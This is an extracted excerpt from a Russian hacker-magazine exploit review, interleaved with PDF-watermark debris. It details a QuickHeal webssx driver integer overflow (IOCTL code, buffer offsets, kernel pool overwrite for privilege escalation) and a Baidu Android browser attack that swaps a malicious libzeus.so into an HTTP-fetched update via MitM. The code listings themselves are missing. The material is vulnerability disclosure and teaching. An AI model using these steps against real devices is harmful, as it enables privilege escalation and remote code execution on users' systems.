книги хакеры / журнал хакер / 206_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
m |
||||||
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
||||||
|
w |
|
|
|
|
|
|
|
|
|
||
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Граф вызовов уязвимой функции драйвера webssx
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
m |
||||||
|
|
|
|
|
|||||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
Далее автор нашел IOCTL код 0x830020FC, приводящий к вызову уязвимой функции. Но для того, чтобы попасть к ней, нужно, чтобы размер входящего буфера был больше, чем 0x138. Если условие выполняется, то по адресу webssx+5596, произойдет вызов sub_1D1E, который затем вызовет функцию webssx+1090. Граф вызовов представлен на скриншоте (на предыдущей странице).
Целочисленное переполнение получается из-за недостаточной проверки получаемых данных из входного буфера. На скриншоте ты можешь видеть, что если мы имеем 0x1 в определенном месте буфера, то случится переход на небольшой участок кода, который установит новое значение регистра EDX. Данные берутся из буфера и к ним добавляется 0x14A.
Затем EDX используется для выделения пула в пространстве ядра. Если мы установим значение по смещению 0x130 в буфере на 0xffffffc0 или нечто похожее, то значение в EDX будет меньше, чем 0x14A. Затем оно используется для задания размера пула.
Если выделение пройдет успешно, то мы увидим, что будет скопировано 0x4E*4 = 0x138 байт внутрь пула из буфера. В случае повреждения размера выделения произойдет перезапись пула ядра, что, в свою очередь, приведет к повышению привилегий.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
m |
||||||
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
||||||
|
w |
|
|
|
|
|
|
|
|
|
||
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
Перезапись пула ядра после переполнения в webssx
Когда функция продолжит работу, те же проверки будут снова выполнены, и мы обратимся к операции memcpy. Первоначальная задумка разработчиков, наверное, выглядела примерно так:
Операция memcpy вызовет BSOD (потому что размер параметра будет намного больше — 0xffffffc0, что примерно равно 4 ГБ) и может упасть в следующих случаях:
1.наш ввод меньше 4 ГБ и попытается прочесть из памяти адреса, которые не инициализированы;
2.на 32-битном компьютере у нас закончится память во время копирования.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
m |
|||||
|
|
|
|
|
||||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
Вызов операции memcpy в webssx
EXPLOIT
Автор опубликовал на GitHub свой эксплойт для демонстрации уязвимости. Он написан на Python и для работы требует ctypes, чтобы обратиться к kernel32 и ntdll:
Обратимся к кастомному обработчику ядра \\\\.\\webssx\some с нужными параметрами:
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Выделим память:
И отправляем ioctl-вызов:
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
m |
||||||
|
|
|
|
|
|||||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
|
to |
|
|
|
|
|
|
Аналогичная уязвимость существует и на 64-битных системах, но так как опе- |
|
|
|
df |
n |
|
|
|
||||
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
m |
|||||
|
|
w Click |
|
|
|
|
|
|
||||
|
w |
|
|
|
|
|
|
|
|
|
||
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
-x cha |
|
e |
|
|||
ративной памяти больше, то, по словам автора, возможен не только DoS, но и |
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
поднятие привилегий.
TARGETS
QuickHeal 16.00 (9.0.0.x)
SOLUTION
Производитель выпустил исправление.
УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОДА В BAIDU BROWSER ДЛЯ ANDROID
CVSSv2 |
N/A |
Дата релиза: |
27 февраля 2016 года |
Автор: |
lifeform-labs |
CVE: |
N/A |
Все началось с поста на xda-developers, где были расписаны уязвимости в браузере Baidu. Члены команды lifeform-labs решили показать пример того, что эксплуатация не составляет особого труда. Браузер же очень популярен: по данным Google Play, число загрузок составляет от десяти до пятидесяти миллионов.
Перед началом установки браузера автор запустил mitmproxy.
Процесс обновления T5Update APK
И что мы видим? APK загружается по протоколу HTTP:
GET http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/ res/54b2672d5353481ab5a762bdcd74977f.apk
Если открыть предыдущий запрос, то мы увидим ответ JSON с адресом APK:
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
GET http://mobile-global.baidu.com/mbrowser/management/zeus_update. do?si=12.1.0.0&so=6.2.7.11&zi=-&zo=-&api=1&pt=ma&co=US&la=en&ch=gp& av=6.3.0.1&sv=a_19&pr=&n=
Ответ в JSON:
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
После успешной установки пользователь увидит следующее сообщение.
Что такое T5 Engine, нам не особенно важно (но если любопытно, то знай: это дополнение, которое увеличивает скорость Baidu). Загрузим и его для дальнейшего изучения:
wget http://s.mobile-global.baidu. com/mbrowser/guanxing/T5Update/res
/54b2672d5353481ab5a762bdcd74977f. Сообщение об успешной установке T5 Engine apk
...
2016-02-27 12:56:21 (1.95 MB/s) — ‘54b2672d5353481ab5a762bdcd74977f. apk’ saved [7819869/7819869]
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
|
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
Смотрим содержимое: |
|
|
|
|
|
|
-x cha |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
unzip -l 54b2672d5353481ab5a762bdcd74977f.apk |
|
|
|
|
|
|
|
|
|
|
|
||||
Archive: |
54b2672d5353481ab5a762bdcd74977f.apk |
|
|
|
|
|
|
|
|
|
|
|
|||
Length |
Date |
Time |
Name |
|
|
|
|
|
|
|
|
|
|
||
-------- |
---- |
---- |
---- |
|
|
|
|
|
|
|
|
|
|
|
|
21704 |
03-24-15 14:32 |
libbaidujni.so |
|
|
|
|
|
|
|
|
|
|
|
||
99576 |
03-24-15 14:32 |
libdumper.so |
|
|
|
|
|
|
|
|
|
|
|
||
66748 |
03-24-15 14:32 |
libZeusPlatformImpl23.so |
|
|
|
|
|
|
|
|
|
|
|
||
66752 |
03-24-15 14:32 |
libZeusPlatformImpl40.so |
|
|
|
|
|
|
|
|
|
|
|
||
66752 |
03-24-15 14:32 |
libZeusPlatformImpl41.so |
|
|
|
|
|
|
|
|
|
|
|
||
66752 |
03-24-15 14:32 |
libZeusPlatformImpl42.so |
|
|
|
|
|
|
|
|
|
|
|
||
66756 |
03-24-15 14:32 |
libZeusPlatformImpl43.so |
|
|
|
|
|
|
|
|
|
|
|
||
66756 |
03-24-15 14:32 |
libZeusPlatformImpl443.so |
|
|
|
|
|
|
|
|
|
|
|
||
66756 |
03-24-15 14:32 |
libZeusPlatformImpl44.so |
|
|
|
|
|
|
|
|
|
|
|
||
66752 |
03-24-15 14:32 |
libZeusPlatform.so |
|
|
|
|
|
|
|
|
|
|
|
||
14495444 |
03-24-15 14:32 |
libzeus.so |
|
|
|
|
|
|
|
|
|
|
|
||
493810 |
03-24-15 14:33 |
com.baidu.zeus.jar |
|
|
|
|
|
|
|
|
|
|
|||
-------- |
|
|
------- |
|
|
|
|
|
|
|
|
|
|
|
|
15644558 |
|
|
12 iles |
|
|
|
|
|
|
|
|
|
|
|
Все необходимые библиотеки загружаются по HTTP. Изучаем директорию Baidu, чтобы понять, что и где расположено:
/data/data/com.baidu.browser.inter/iles # ls |
-la |
|
||||
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 AFRequestCache |
|
|
-rw------- |
u0_a151 |
u0_a151 |
33 2016-02-27 |
11:57 AF_INSTALLATION |
|
|
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 bbm |
|
|
-rw------- |
u0_a151 |
u0_a151 10453 2016-02-27 |
11:57 conig_gb.json |
|
||
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 cyber |
|
|
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 data |
|
|
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 deeplink |
|
|
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 loat_window |
|
|
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
12:44 home |
|
|
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 images |
|
|
-rwxr-xr-x u0_a151 |
u0_a151 13592 2016-02-27 |
11:57 libprocmox_v1_4. |
|
|||
so |
|
|
|
|
|
|
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 misc |
|
|
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 plugin |
|
|
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 pv |
|
|
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 skin |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
drwx |
------ u0_a151 |
u0_a151 |
2016-02-27 |
11:57 splash |
drwx------ |
u0_a151 |
u0_a151 |
2016-02-27 |
11:57 version |
drwx-- -- |
x x u0_a151 |
u0_a151 |
2016-02-27 |
12:44 zeus |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
m |
||||||
|
|
|
|
|
|||||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
И в итоге находим нужную папку /iles/zeus/lib/, куда складируется содержимое APK:
/data/data/com.baidu.browser.inter/iles/zeus/libs # ls -la
-rw-r--r-- |
u0_a151 u0_a151 |
1252704 2016-02-27 12:44 |
com.baidu.zeus.dex |
||
-rw-r--r-- |
u0_a151 u0_a151 |
493810 2016-02-27 12:44 |
com.baidu.zeus.jar |
||
-rw-r--r-- |
u0_a151 |
u0_a151 |
66752 2016-02-27 12:44 |
libZeusPlatform.so |
|
... |
|
|
|
|
|
-rw-r--r-- |
u0_a151 |
u0_a151 |
66756 2016-02-27 12:44 |
libZeusPlatform |
|
Impl443.so |
|
|
|
|
|
-rw-r--r-- |
u0_a151 u0_a151 |
21704 2016-02-27 |
12:44 |
libbaidujni.so |
|
-rw-r--r-- |
u0_a151 u0_a151 |
99576 2016-02-27 |
12:44 |
libdumper.so |
|
-rw-r--r-- |
u0_a151 |
u0_a151 |
14495444 2016-02-27 |
12:44 |
libzeus.so |
-rw-r--r-- |
u0_a151 |
u0_a151 |
17 2016-02-27 |
12:44 |
ver.dat |
Теперь у нас есть все, что требуется для успешной эксплуатации.
EXPLOIT
План следующий:
1.создать zip с библиотеками, которые мы нашли в T5Update APK;
2.заменить одну из библиотек нашей и упаковать в новый zip;
3.провести MitM атаку;
4.подставить наш файл вместо T5Update APK.
Проверим, какие библиотеки загружаются при запуске браузера:
D/dalvikvm(21640): Trying to load lib /data/data/com.baidu.browser.
inter/iles/zeus/libs//libzeus.so 0x42775e38
D/dalvikvm(21640): Added shared lib /data/data/com.baidu.browser.
inter/iles/zeus/libs//libzeus.so 0x42775e38
Нашей целью будет библиотека libzeus.so. Заменяем ее в созданном архиве. Ниже представлен код новой библиотеки для выполнения нашего кода:
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
m |
||||||
|
|
|
|
|
|||||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
После этого создадим свой APK с поддельной libzeus.so:
unzip -l bad.apk
Archive: |
bad.apk |
|
|
Length |
Date |
Time |
Name |
-------- |
---- |
---- |
---- |
493810 |
03-24-15 14:33 |
com.baidu.zeus.jar |
|
21704 |
03-24-15 14:32 |
libbaidujni.so |
|
99576 |
03-24-15 14:32 |
libdumper.so |
|
9356 |
02-13-16 16:20 |
libzeus.so |
|
... |
|
|
|
66756 |
03-24-15 14:32 |
libZeusPlatformImpl443.so |
Теперь напишем небольшой скрипт mitmdump, который будет вставлять bad. apk внутрь запроса загрузки T5Update APK: